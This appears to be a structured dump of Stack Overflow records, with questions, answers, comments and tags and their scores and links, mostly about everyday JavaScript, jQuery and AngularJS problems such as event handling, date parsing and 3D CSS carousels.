has text: You'll have to loop either way. The truth is, it's unlikely that your performance issues will come from where you put your classes. The side effects of having items disappearing off of your document and the reflow/repaint needed for that is what's going to chew up most of the resources.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25686243

http://stackoverflow.com/comment/39940907
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25572891
type: Comment
has text: I think you have to do something like this: https://developer.chrome.com/extensions/content_scripts

http://stackoverflow.com/comment/40045140
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25630614
has text: I see two things that might be what you're describing as flickering. First, you set the max-width to 70, so the width will "pause" at 70px if 100% width is more than that. If it's because the width jumps from 100% to 0, then you need to adjust the code to reverse the counter instead of doing modulo.
score: 0

http://stackoverflow.com/q/25675973
has answer: http://stackoverflow.com/a/25676374
downvote count: 0
tagged with: javascript
favorite count: 0
type: Question
tagged with: angular-ui
score: 4
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25676374
tagged with: ace-editor
answer count: 1
has title: How do I sendKeys to a ui-ace instance with Protractor?
has body: I want to test some keypresses against a ui-ace instance. However, Protractor can't get focus on the ace element. Ace includes a &lt;textarea&gt; that I can get focus on (and thus send keys to) but ui-ace doesn't recognize keys inputted there (and subsequently doesn't update the model). Selecting method (by.model, etc) has no impact. My current workaround is to use evaluate to set the scope value manually, but this breaks the point of using Protractor.
upvote count: 4
tagged with: protractor
type: AnsweredQuestion

http://stackoverflow.com/a/25712706
has body: Just passthrough this from onclick function to info. $('#one').click(function(){ info.call(this, '#Aarea'); }) $('#two').click(function(){ info.call(this, '#Barea'); })
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25712614
score: 1
upvote count: 1

http://stackoverflow.com/comment/40026105
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25620542
has text: It seems to be working http://jsfiddle.net/dfaevzbs/ What is the problem?
type: Comment

http://stackoverflow.com/q/25618411
tagged with: arrays
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40022652
has comment: http://stackoverflow.com/comment/40022253
answer count: 0
upvote count: 3
type: UnansweredQuestion
has body: Please difference between a[0,0] and a[0][0] in multidimensional array javascript. For example printing in chrome console: For a[0][0] in console For a[0,0] in console Please anyone explain me what is a[0,0] do in javascript array
downvote count: 1
has comment: http://stackoverflow.com/comment/40022402
score: 2
linked to: http://stackoverflow.com/q/3561043
has comment: http://stackoverflow.com/comment/40022277
has title: Difference between a[0,0] and a[0][0] in array
duplicate of: http://stackoverflow.com/q/3561043
type: Question

http://stackoverflow.com/q/25680865
tagged with: angular-directive
downvote count: 0
accepted answer: http://stackoverflow.com/a/25697889
type: Question
has body: How can I use Google GeoChart in Angular? I want to inject angular data inside geoChart like this examples in Javascript https://developers.google.com/chart/interactive/docs/gallery/geochart?hl=it#Regions function drawRegionsMap() { var data = google.visualization.arrayToDataTable([ ['Country', 'Popularity'], ['Germany', 200], ['United States', 300], ['Brazil', 400], ['Canada', 500], ['France', 600], ['RU', 700] ]); var options = {}; var chart = new google.visualization.GeoChart(document.getElementById('regions_div')); chart.draw(data, options); } Some advice?
type: AnsweredQuestion
tagged with: google-visualization
tagged with: javascript
has answer: http://stackoverflow.com/a/25697889
score: 5
answer count: 1
favorite count: 0
upvote count: 5
tagged with: angularjs
has title: Use GeoCharts in Angularjs

http://stackoverflow.com/comment/40050783
has text: What are you trying to accomplish with all the regular expressions?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25633775
type: Comment

http://stackoverflow.com/comment/39964939
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25587032
has text: yeah to prevent image stealing...what can I do to prevent it from happening?
score: 0

http://stackoverflow.com/comment/39907213
type: Comment
comment on: http://stackoverflow.com/a/25556048
has text: I agree, but sritno was clear about not using AJAX or jQuery.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25686917
tagged with: angularjs
type: UnansweredQuestion
tagged with: factory
downvote count: 0
score: 1
has body: I have a factory returning an object calling an internal resource containing JSON as so: .factory('cardFactory', function ($q, $http) { return { getOtherStuff: function () { var deferred = $q.defer(), httpPromise = $http.get('/static/cards.json'); httpPromise.then(function (response) { deferred.resolve(response); }, function (error) { console.error(error); }); return deferred.promise; } }; }); In my controller I call it like this: var cardSuccess = function(data, status, headers, config) { $scope.cards = data.data; }; cardFactory.getOtherStuff() .then(cardSuccess, cardError); In the browser $scope.cards in populated but on the device it doesn't populate. Any ideas why?
tagged with: http
type: Question
has answer: http://stackoverflow.com/a/25687753
tagged with: javascript
has title: Angular $http get works in browser but not on device - Ionic
tagged with: angularjs-scope
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/29838549
favorite count: 0
has answer: http://stackoverflow.com/a/25687426

http://stackoverflow.com/q/25643344
has answer: http://stackoverflow.com/a/25643375
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25643407
has answer: http://stackoverflow.com/a/25643450
type: Question
has answer: http://stackoverflow.com/a/25643496
accepted answer: http://stackoverflow.com/a/25643375
score: 0
has comment: http://stackoverflow.com/comment/40067184
has comment: http://stackoverflow.com/comment/40067191
has answer: http://stackoverflow.com/a/25643407
tagged with: javascript
answer count: 5
tagged with: jquery
has answer: http://stackoverflow.com/a/25643418
has body: I am trying to remove an element via the ID, which is stored in a variable, like this: function deleteme(counter) { alert("Möchten sie wirklick das blau markierte Kreuz löschen?"); $(' ').remove(); } This is the HTML, which I try to remove ID von 1 XPosition 240, YPosition 53<img src="any.jpg" onclick="deleteme(1)" I did make an alert(counter) to check if it has the right ID. It has. How can i fix this up?
has title: remove is not working JQuery

http://stackoverflow.com/q/25667866
tagged with: firefox
tagged with: javascript
upvote count: 1
tagged with: cross-browser
favorite count: 0
type: UnansweredQuestion
has body: This code shows 5 images that slide show one another. They are all statically positioned and overlapping. This way when they are toggled they show each other. Works perfectly in firefox, but not in chrome or safari. Could anyone figure why? thanks in advance var curPhoto = 6; var scrollAmountUp = 0; var scrollAmountDown = 0; $(function(){ //last scroll will always save the current scroll position value var CurrentScroll = 0; $(window).scroll(function(event){ console.log('Event triggered'); var NextScroll = $(this).scrollTop(); if (NextScroll &gt; CurrentScroll){ //Scrolling Down scrollAmountUp = 0; scrollAmountDown++ if(scrollAmountDown &gt; 12){ curPhoto--; console.log('Setting next photo:' + curPhoto); scrollAmountDown = 0; //Change Photo $('#swift-slider-' + curPhoto).slideToggle("900"); if(curPhoto == 2){ window.scrollTo(0, document.body.scrollHeight); } } } else { //Scrolling up scrollAmountDown = 0; scrollAmountUp++; if(scrollAmountUp &gt; 12){ console.log('Setting prev photo:' + curPhoto); scrollAmountUp = 0; //Change Photo $('#swift-slider-' + curPhoto).slideToggle("900"); curPhoto++; if(curPhoto == 6){ window.scrollTo(0, 0); } } } //Updates current scroll position CurrentScroll = NextScroll; }); });
tagged with: google-chrome
tagged with: safari
answer count: 0
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40114555
has comment: http://stackoverflow.com/comment/40117053
type: Question
has title: This sliding code only works in firefox

http://stackoverflow.com/comment/39899392
comment on: http://stackoverflow.com/q/25551974
type: Comment
type: QuestionComment
score: 1
has text: What you mean is that you want to build a dependency graph for your source files ?

http://stackoverflow.com/a/25643802
answers question: http://stackoverflow.com/q/25643732
type: AcceptedAnswer
score: 0
has body: The .load function does not refer to the loaded event. Standard jQuery practice is to use the document.ready event: $(function() { // Shorthand for $(document).ready(function() ... $('li a').click(function(e) { e.preventDefault(); var ullist = $(this).parent().children('ul:first'); if (ullist.is(':visible')) { ullist.hide('slow'); } else { ullist.show('slow'); } }); });
type: Answer
accepted answer of: http://stackoverflow.com/q/25643732

http://stackoverflow.com/a/25584986
upvote count: 6
type: Answer
has body: You can call a C function pointer from JS using Runtime.dynCall. See for example https://github.com/kripken/emscripten/blob/ee17f05c0a45cad728ce0f215f2d2ffcdd75434b/src/library_browser.js#L715 The arguments are (type signature, pointer, array of arguments). For example, the type 'vi' means return void, receive one integer parameter. This corresponds to FUNCTION_TABLE_vi which you can see in the generated code.
downvote count: 0
score: 6
has comment: http://stackoverflow.com/comment/39964536
has comment: http://stackoverflow.com/comment/138377358
answers question: http://stackoverflow.com/q/25576458
accepted answer of: http://stackoverflow.com/q/25576458
has comment: http://stackoverflow.com/comment/120694879
type: AcceptedAnswer

http://stackoverflow.com/a/25657265
has body: This is how i make this possible, Look i have made some changes in your code: var test = function(event){ var chords = ("X: " + event.pageX + "Y: " + event.pageY); //alert(chords); active = true; }; $('body').bind('click',test);//binding click event $('body').unbind('click');//unbinding it when animation is going on for preventing unwanted click /* made some changes in case 6 also, binding click event once more and set frame to 0 */ case 6: activeIMG = images.c6; active = false; frame=0;//most important to make frame from start again $('body').bind('click',test);//binding again break; DEMO
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25657064

http://stackoverflow.com/comment/40193793
has text: Are you using `ngRoute`? Then you could use the resolve feature.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25712193

http://stackoverflow.com/a/25575452
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25575103
has body: Issue second AJAX call after first call appends content. Change JavaScritp code to: $("#getSource").on('click', function(){ headerURL = $(".header-code").attr('data-url'); $.ajax({ url: headerURL, data: "function=showCode", success: function(data){ $('code #mainCode').append(data); // second ajax call var bufferId =$("#mainCode").html(); $.ajax({ type : "POST", url : "postCode.php", data: {id : bufferId}, dataType: "html", success: function(data){ alert("ok"); } }); } }); });
type: Answer

http://stackoverflow.com/a/25564789
answers question: http://stackoverflow.com/q/25564721
has body: Redefine your function as $scope.update = function() { alert($scope.myform.value); } A better way to do it would be to use ng-model https://docs.angularjs.org/api/ng/directive/ngModel Check the example, these docs can be a bit wordy
has comment: http://stackoverflow.com/comment/39923487
has comment: http://stackoverflow.com/comment/39923697
score: 0
has comment: http://stackoverflow.com/comment/39923220
has comment: http://stackoverflow.com/comment/39923507
type: Answer
has comment: http://stackoverflow.com/comment/39924008
has comment: http://stackoverflow.com/comment/39923441
has comment: http://stackoverflow.com/comment/39923390

http://stackoverflow.com/comment/39969624
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25589600
has text: Maybe change `[\s\S]+?` to be `[\s\S]*` so that it's not greedy?
score: 0

http://stackoverflow.com/a/25574320
has body: The problem is very likely that you need to wait for the image to load in your draw() function. The best way would be to include a callback parameter in your function, so you could save after it is finished. function draw(callback){ //... img.onload = (function(callback){ return function(){ //...create your pattern... callback.call(); }; })(callback); } draw(function(){ /* ...save image... */ }); You could also use something like setTimeout(function(){ /*...save image...*/ }, 1); but this isn't the best solution.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25571991
upvote count: 1
score: 1

http://stackoverflow.com/comment/47744651
score: 0
type: Comment
has text: Hi thank you for this! On my Android phone, simply adding the below CSS fixed the issue with the label not opening properly. body { -webkit-animation: bugfix infinite 1s; } @-webkit-keyframes bugfix { from {padding:0;} to {padding:0;} } Do you think that's all that's needed or should I add the jquery code you have to support older Android versions?
type: AnswerComment
comment on: http://stackoverflow.com/a/26171148

http://stackoverflow.com/q/25653145
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25653305
answer count: 4
favorite count: 0
tagged with: constructor
has title: JavaScript constructor patterns
has answer: http://stackoverflow.com/a/25653368
has answer: http://stackoverflow.com/a/25653322
possible better answer: http://stackoverflow.com/a/25653305
has answer: http://stackoverflow.com/a/25653358
tagged with: design-patterns
has body: I'm looking for a sane solution to JavaScript's only-one-constructor problem. So let's say we have a class Point and we want to allow object creation from coordinates. I'm gonna ignore type-checking in all these examples. function Point(x, y) { this.x = x; this.y = y; } Easy. How about creating points from other points? function Point(x, y) { if (!y /* &amp;&amp; x instanceof Point */) { y = x.y; x = x.x; } this.x = x; this.y = y; } This turns into a nightmare quickly. So what I want is a design pattern that decouples these two constructors (or splits the one into two, rather). Objective-C has a nice pattern for this. ObjC people create objects with something. function Point(x, y) { this.x = x; this.y = y; } Point.withPoint = function(point) { return new Point(point.x, point.y); }; I like this a lot, so far. But now we have two different syntaxes. var a = new Point(4, 2); var b = Point.withPoint(a); Alright that's easy enough, no? Just add Point.withCoordinates. But what about the constructor then? Hide it? I don't know. I guess this is where you come in. And here's what I've decided to go with: var Point = { withCoordinates: function(x, y) { if (typeof x == 'number' &amp;&amp; typeof y == 'number') { this.x = x; this.y = y; return this; } throw TypeError('expected two numbers'); }, withPoint: function(point) { if (typeof point.x == 'number' &amp;&amp; typeof point.y == 'number') { this.withCoordinates(point.x, point.y); return this; } throw TypeError('expected a point'); } }; var a = Object.create(Point).withCoordinates(0, 0); var b = Object.create(Point).withPoint(a); Pros: No boilerplate Descriptive syntax/API Scales well Functional Easy to test Cons: Instances don't know whether they're initialized or not Can't just add properties to a class (compare Number.MAX_SAFE_INTEGER) Notice the type-checks in Point.withPoint. It allows duck-typed points like click events. function onClick(event) { var position = Object.create(Point).withPoint(event); } Also notice the la…
type: AnsweredQuestion
score: 3
upvote count: 3
type: Question
accepted answer: http://stackoverflow.com/a/25653322

http://stackoverflow.com/comment/40037374
comment on: http://stackoverflow.com/a/25625484
score: 0
type: AnswerComment
type: Comment
has text: Check here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in At each iteration of the loop the LHS expression is assigned a property of the RHS. In this case it's the i+1 element of your array. The fact that the loop has no body doesn't matter to JS and since the array is defined outside the scope of the loop, it and all the elements made by the iterations of the loop are available.

http://stackoverflow.com/comment/40089227
comment on: http://stackoverflow.com/q/25654938
has text: @showdev - you just described my job perfectly.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25706185
has comment: http://stackoverflow.com/comment/40182120
tagged with: viewport
tagged with: mobile
answer count: 1
has body: I am trying to achieve a drag and drop feature for mobile devices... there is a container div with a fixed width/height and inside it another div with contents but it's size is way bigger than the parent. My issue is that once I click on the draggable div I am able to move it around but I don't really find any solution to keep the draggable element position the same every time I start touchmove on the screen.. I try to keep this as minimal as possible Also I dont want to use jQueryUI P.S. Dragging the element will only work on desktop by using touch emulation Here is an example JSFiddle Here is my code &lt;div class="container"&gt; &lt;div class="draggable"&gt; &lt;/div&gt; &lt;/div&gt; &lt;script&gt; $(document).on('touchmove','.draggable',function(e){ //Prevent default for mobile devices so the element inside the container can be dragged witouth stopping //e.preventDefault(); //Calculating the distance where the touch event stopped var xPos = e.originalEvent.touches[0].pageX; var yPos = e.originalEvent.touches[0].pageY; //Moving the draggable element around $(this).css({ left: xPos + $(this).offset().left + 'px', top: yPos + $(this).offset().top + 'px' }); }); &lt;/script&gt; &lt;style&gt; .container { width:200px; height:200px; overflow:hidden; position:relative; } .draggable { width:1000px; height:1000px; background:url('http://th04.deviantart.net/fs71/PRE/f/2014/249/d/f/seraphim_by_alexiuss-d7y4v0o.jpg'); position:relative; } &lt;/style&gt;
tagged with: javascript
score: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40182304
has comment: http://stackoverflow.com/comment/40182338
type: UnansweredQuestion
has title: Javascript drag div inside viewport container
has answer: http://stackoverflow.com/a/25706970
tagged with: draggable
type: Question

http://stackoverflow.com/a/25680650
accepted answer of: http://stackoverflow.com/q/25679024
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40146938
answers question: http://stackoverflow.com/q/25679024
has body: Here is a solution with a script that replaces a select with a ul list, this is what I use. Fiddle: http://jsfiddle.net/futgfs10/2/
downvote count: 1
upvote count: 5
score: 4

http://stackoverflow.com/q/25703138
answer count: 1
downvote count: 0
tagged with: javascript
score: 1
tagged with: jquery
tagged with: encodeuricomponent
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/1354064
tagged with: urlencode
has comment: http://stackoverflow.com/comment/40176446
duplicate of: http://stackoverflow.com/q/1354064
upvote count: 1
type: Question
has body: I have a string that contains text including special characters like apostrophes, quotes, ampersand etc. that I would like to convert to HTML character codes, e.g. to show &amp;#39 instead of an apostrophe etc. (as per the following list: http://www.w3.org/MarkUp/html-spec/html-spec_13.html. I do not necessarily need to convert letters and spaces as long as the above and some other basic characters are encoded correctly. For a temporary workaround I use simple replaces like str = str.replace("'", "&amp;#39") but would like to avoid this as it only covers certain characters. I was thinking of encodeURI or encodeURIcomponent but would like to know what is the best and easiest way to achieve this without encoding more than necessary. Can someone tell what is the best way here if the idea is to avoid any issues with other JS where this is inserted dynamically, esp. thinking of single quotes, double quotes and any other character that could cause issues here (referring to JavaScript / jQuery and English language only) ?
linked to: http://stackoverflow.com/q/1787322
has title: Javascript / jQuery: How to convert string to HTML character code
has comment: http://stackoverflow.com/comment/40176353
has answer: http://stackoverflow.com/a/25703207
has comment: http://stackoverflow.com/comment/40176358

http://stackoverflow.com/comment/40154327
has text: There is a typo in the factory: `return $htp`
score: 0
comment on: http://stackoverflow.com/q/25691026
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25693624
score: 3
upvote count: 3
has body: Cut down to its most basic level, your code says this: ShowMessage(); if (CheckSameUser() == strUser) { // Stuff } else { } Response.Redirect("YourTasks.aspx"); So you set up the bit of javascript to be run ... and then you send an instruction down to the browser to redirect to the page "YourTasks.aspx". The javascript was set up to render when your page was sent down to the browser ... but you are redirecting before your page can be rendered, so that javascript never reaches the browser, and therefore never executes. If what you want is to have the message display on the client immediately on click, and then have the server go and do something (like save your data and then send you to a new page), your best bet would be to hook the javascript up to a client-side event, like the submission of the form. You can do this easily with jQuery or even with basic javascript (although the update panel can complicate things a bit.)
downvote count: 0
has comment: http://stackoverflow.com/comment/40159088
has comment: http://stackoverflow.com/comment/40159100
answers question: http://stackoverflow.com/q/25693473
type: Answer
has comment: http://stackoverflow.com/comment/40159134
has comment: http://stackoverflow.com/comment/40159124

http://stackoverflow.com/q/25605601
tagged with: jquery-data
upvote count: 1
has body: Does the amount of memory allocated to each Javascript reference depend on the object/function its referencing? In other words, if I create a reference to a small object and then create a reference to a large object, how much will the references differ in allocated memory? For example: obj1 = {foo: "bar"} ref1 = obj1 ref2 = window What is the difference in memory allocation between ref1 and ref2? Why I ask I’m storing references using jQuery.data() in scoped context elements (see below) and I just want to be more aware of what I’m storing and how much I’m storing. Does jQuery.data() store the reference or create a new object? - (Possibly a new SO question) My Coffeescript class: class Renderer constructor: -&gt; jQuery("&lt;div/&gt;", {class: "myScope", data: @}).appendTo("body") In Javascript: var Renderer; Renderer = (function() { function Renderer() { jQuery("&lt;div/&gt;", { "class": "myScope", data: this }).appendTo("body"); } return Renderer; })();
type: AnsweredQuestion
score: 1
tagged with: coffeescript
accepted answer: http://stackoverflow.com/a/25606386
type: Question
tagged with: javascript
tagged with: jquery
has title: Javascript references and differences in memory allocation
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25606386

http://stackoverflow.com/q/25576255
linked to: http://stackoverflow.com/q/13509484
type: Question
has comment: http://stackoverflow.com/comment/39945628
has comment: http://stackoverflow.com/comment/39945704
downvote count: 0
tagged with: javascript
tagged with: jquery
has title: How to manage an events conflict between "click" and "blur"
favorite count: 0
has comment: http://stackoverflow.com/comment/39945771
has comment: http://stackoverflow.com/comment/39946192
linked to: http://stackoverflow.com/q/11544554
has body: I'm currently working on an input text with values proposals, this is the html : Value 1 Value 2 Value 3 And with jQuery I have bind 2 events : // On click on proposal, change the input value $('li').click(function(){ $('input').val($(this).text()); }); // On input blur, close proposal $('input').blur(function(){ $('ul').hide(); }); But now, I have a big problem.. When I click on li, the first event launch are the input blur, so the ul are hided and the click event are never been called.. I have read some solution (like this one) but in my case, the blue event hide the click zone, so my second event can't be called. How can I do to manage this conflict ?!
tagged with: http://stackoverflow.com/tag/html
tagged with: events
linked to: http://stackoverflow.com/q/7621711
score: 2
answer count: 0
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39945754
duplicate of: http://stackoverflow.com/q/7621711

http://stackoverflow.com/a/25683143
type: Answer
score: 1
upvote count: 1
has body: Do not expect the Date object to correctly or consistently parse date and time strings. There are a number of libraries to help if you have many different formats to support, but if you only have one or two then supporting them is not hard. To parse an UTC ISO 8601 format string like '2014-09-04T13:57:33.338Z': function parseISOUTC(s) { // Get the parts var b = s.split(/\D+/); // Return a new Date return new Date(Date.UTC(b[0], --b[1], b[2], b[3], b[4], b[5], b[6])); } To parse a string like 'Mon Sep 15 2014 18:20:52 GMT+0200 (CEST)' takes a little more work: function parseMDYHMSO(s) { // Get the parts var b = s.split(/[ :]/); // Convert the month name to a number var months = {jan:0,feb:1,mar:2,apr:3,may:4,jun:5, jul:6,aug:7,sep:8,oct:9,nov:10,dec:11}; var month = months[b[1].toLowerCase()]; // Get the offset var sign = s.indexOf('+') == -1? 1 : -1; var offset = b[7].substr(4,2) * 60; offset += +b[7].substr(6,2); // Create a new Date return new Date(Date.UTC(b[3], month, b[2], b[4], +b[5] + sign*offset, b[6])); } So now you have two date objects. If you want to compare just the time part, then get the hours, minutes and seconds of each and compare them: var d0 = parseISOUTC('2014-09-04T13:57:33.338Z'); // 2014-09-15T16:20:52.000Z var d1 = parseMDYHMSO('Mon Sep 15 2014 18:20:52 GMT+0200 (CEST)'); d0.getUTCHour(); // 13 d1.getUTCHour(); // 16 d0.getUTCMin(); // 57 d1.getUTCMin(); // 20 d0.getUTCMin(); // 33 d1.getUTCMin(); // 52 You can also just use the plain getHour, getMinute, etc. methods but the UTC ones make it clear that you're using the same offset. You can also do the above just using the time part with offset and ignore the date. Convert the hours, minutes and seconds to say seconds, apply the offset, allow for day boundaries and compare the result.
downvote count: 0
answers question: http://stackoverflow.com/q/25682023

http://stackoverflow.com/comment/40163253
score: 0
type: Comment
type: QuestionComment
has text: @gibberish As I unedrstand, it creates a chain of callbacks, but I couldnt make it work. They still work at the same time.
comment on: http://stackoverflow.com/q/25695563

http://stackoverflow.com/a/25675154
has body: .*\/(\d+) This will give the required ans. See demo. http://regex101.com/r/cH8vN2/3
downvote count: 0
answers question: http://stackoverflow.com/q/25675125
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/40125510
upvote count: 1
has comment: http://stackoverflow.com/comment/40125404

http://stackoverflow.com/q/25587431
answer count: 2
has answer: http://stackoverflow.com/a/25587550
has body: I have a very odd problem where the javascript is executing fine however it also displays the script as text. The script is within a PHP file that I load with AJAX. Edit Favourites Add Favourite The code works fine and the script executes, however it still displays itself.. EDIT - I was able to fix the problem by just adding something after it. I addded " " and it was fine after that.
has title: Javascript is Executing and Displaying
type: UnansweredQuestion
tagged with: php
has comment: http://stackoverflow.com/comment/39965789
has answer: http://stackoverflow.com/a/25587466
type: Question
tagged with: javascript
score: 0

http://stackoverflow.com/comment/40190932
has text: http://stackoverflow.com/questions/11043279/d3-equivalent-to-jquery-attribute-selector
type: QuestionComment
comment on: http://stackoverflow.com/q/25711108
type: Comment
score: 1

google-fusion-tables
type: Tag
tags question: http://stackoverflow.com/q/25633825
tags question: http://stackoverflow.com/q/25626857
tag name: google-fusion-tables

http://stackoverflow.com/a/25644152
has comment: http://stackoverflow.com/comment/40069176
type: Answer
downvote count: 0
score: 1
has body: .then(opChgrp()) You just called opChgrp immediately and passed its result to then(). Since it doesn't return anything, you get an error.
has comment: http://stackoverflow.com/comment/40068975
has comment: http://stackoverflow.com/comment/40070521
has comment: http://stackoverflow.com/comment/40068831
has comment: http://stackoverflow.com/comment/40070370
answers question: http://stackoverflow.com/q/25644068
has comment: http://stackoverflow.com/comment/40070626
upvote count: 1
has comment: http://stackoverflow.com/comment/40070135

http://stackoverflow.com/comment/39976259
has text: Thanks bud - inspiring to have someone recommend my anwswer!
type: Comment
comment on: http://stackoverflow.com/a/25590824
type: AnswerComment
score: 0

http://stackoverflow.com/a/25628454
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25627192
type: Answer
has body: Think And Store In UTC Generally best to store and work with date-time values in UTC. Translate to a local date-time only for presentation when expected by the user. If it is important to know the data-entry user's time zone or offset, record that separately in addition to the UTC value. Ask For Time Zone As for determine the time zone or offset from a user on a client machine, in a web browser you could ask via JavaScript as suggest in the other answer. But ultimately, if the time zone or offset is really important, you should ask the user. Present a list for them to choose. Use proper time zone names, never 3 or 4 letter codes. Those codes are neither standardized nor unique. You cannot trust the clock on users’ computers. When you need to know the current time for any important purpose, use your server’s time since you have control over that machine. And be sure that server computer is hooked up to one or more time servers. Serialize to ISO 8601 When serializing date-time values to a string, using the ISO 8601 format is definitely the way to go. The new java.time package in Java 8 extends ISO 8601 format by appending the name of the time zone. Interesting idea, but not standard afaik. Do Not Track Count From Epoch Tracking date-time by a count since epoch is meaningless to humans which makes debugging and verification tricky and error-prone. Date-time libraries internally track a count from epoch. But we have those libraries for a reason, to make the programming work easier and more correct. Some geeky types of people may suggest this approach. But they are often naïve about how tricky and thorny is date-time work. Furthermore, different environments and libraries use different scales: whole seconds, milliseconds, microseconds, and nanoseconds. And about two dozen epochs have been used in various computer systems. Avoid j.u.Date &amp; .Calendar Never use the java.util.Date and .Calendar classes bundled with Java. They are notoriously troublesome and should be avo…
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40041127
answers question: http://stackoverflow.com/q/25627192
has comment: http://stackoverflow.com/comment/40046496
type: AcceptedAnswer

http://stackoverflow.com/q/25695079
downvote count: 0
answer count: 1
score: 1
favorite count: 0
tagged with: casperjs
has answer: http://stackoverflow.com/a/25698789
type: AnsweredQuestion
has title: How to return value from an extended casperjs function?
accepted answer: http://stackoverflow.com/a/25698789
upvote count: 1
type: Question
tagged with: javascript
has body: I am trying to return a value from the below function like so. html = casper.get_HTML(myselector); All I am getting returned is "undefined" (return_html). However, the 'html' variable is getting set properly. The over all function works properly. It's just the return value that is the issue. How do you do it? casper.get_HTML = function(myselector) { var return_html; casper.waitForSelector(myselector, function() { var html = casper.getHTML(myselector, false); return_html = html; //got the html }, function() { // Do this on timeout return_html = null; }, 10000 // wait 10 secs ); return return_html; };

http://stackoverflow.com/a/25588000
score: 4
has comment: http://stackoverflow.com/comment/39966775
downvote count: 0
has body: You are attempting to pass your image tag as smg1 but you don't declare that that is your image element. try this: SwitchPic('img1'); and then in your handler: function SwitchPic(picID) { var pic = document.getElementById(picID); pic.src = "img.png"; } In this scenario you pass the ID of the element you want to change then acquire the actual element inside your handler.
answers question: http://stackoverflow.com/q/25587973
type: Answer
has comment: http://stackoverflow.com/comment/39966744
has comment: http://stackoverflow.com/comment/40033883
upvote count: 4
has comment: http://stackoverflow.com/comment/39966685
has comment: http://stackoverflow.com/comment/39966813

http://stackoverflow.com/comment/40127618
score: 0
has text: Try putting the scroll code in fnInitComplete callback.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25676193

http://stackoverflow.com/a/25636074
answers question: http://stackoverflow.com/q/25635802
type: Answer
upvote count: 1
score: 1
has body: Actually the whole width of the screen is divided in to 12 sections for all kinds of screen according to bootstrap grid system So you have to divide according to grig system only Please dont you .[dot] before class name in the tag like this ^ dot should be used in writing styles only! for yout requirement try like this:
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25635802

http://stackoverflow.com/q/25670218
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/25670809
has body: I have a link that I want to change the content "Post Your Need" to "✎" when the browser drops below 40em width. I've tried googling for a solid half hour to no avail. Any help here? I'm looking for jquery/javascript. Post Your Need EDIT: The insistence of all y'all got me thinking about CSS instead of jquery. In the end I created a second anchor tag with the pencil icon and used media queries to place it above the viewport. So when it crosses over the query line, the bigger tag moves up with "margin-top: -2em" and the smaller one moves down. It's awesomely simple, allows me to apply separate CSS rules to the two elements, and when resizing the browser having them move up and down looks pretty cool.
score: 1
has answer: http://stackoverflow.com/a/25670916
type: Question
has answer: http://stackoverflow.com/a/25670356
has title: Change link text based on browser width
tagged with: javascript
tagged with: jquery
answer count: 3
downvote count: 0

http://stackoverflow.com/q/25655184
type: UnansweredQuestion
tagged with: carousel
tagged with: css
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/26091575
type: Question
has comment: http://stackoverflow.com/comment/40089995
tagged with: javascript
tagged with: css-animations
upvote count: 1
has title: CSS Dynamic 3D carousel, z-axis positioning
answer count: 1
has body: I'm creating a 3D carousel using CSS and javascript. For testing and developing, I've uploaded what I have so far on this page: http://dev.rushfivedesigns.com/ When you get to the page, please hit the "initialize" button to have it transformed into 3D space. By default, it will initialize with 5 panels, and this can be changed using the controls. The problem I'd like to solve is this: When I increase the number of panels, the distance from the origin increases and so the panels increase in perceptible size (they get blown up). I'd like it if the front panel would always retain the same size, regardless of how many panels there are. So rather than pushing every panel out by x distance, I want the front panel to stay at a static location in 3D space, and then everything else is pushed around behind it (hope that makes sense). I've made this using angular, but this could easily be made using plain javascript as well. Here's the relevant code: HTML item {{item.someKey}} CSS .container { width:300px; height:300px; position:relative; perspective: 1000px; margin-left: 400px; margin-top:100px; } #carousel { width: 100%; height: 100%; position: absolute; transform-style: preserve-3d; } #carousel figure { display: block; position: absolute; left: 10px; top: 10px; border: 2px solid black; width: 276px; height: 276px; } Javascript $scope.items = []; for (var i = 0; i < 5; i++) { var filler = { someKey: i }; $scope.items.push(filler); }; $scope.initializeCarousel = function () { var carousel = document.getElementById('carousel'); var numPanels = $scope.items.length; var theta = 360 / numPanels; // rotation between each panel in 3D space var radius = Math.round(150 / Math.tan(Math.PI / numPanels)); // how far in Z-axis the panels are pushed out //rotate panels by theta for (var i = 0; i < $scope.items.length; i++) { var panel = carousel.children[i]; var angle = theta * i; panel.style.transform = 'rotateY(' + angle + 'deg) translateZ(' + radius + 'px)'; }; }; Everytime the "initia…
favorite count: 0
tagged with: angularjs

http://stackoverflow.com/a/25613883
score: 1
upvote count: 1
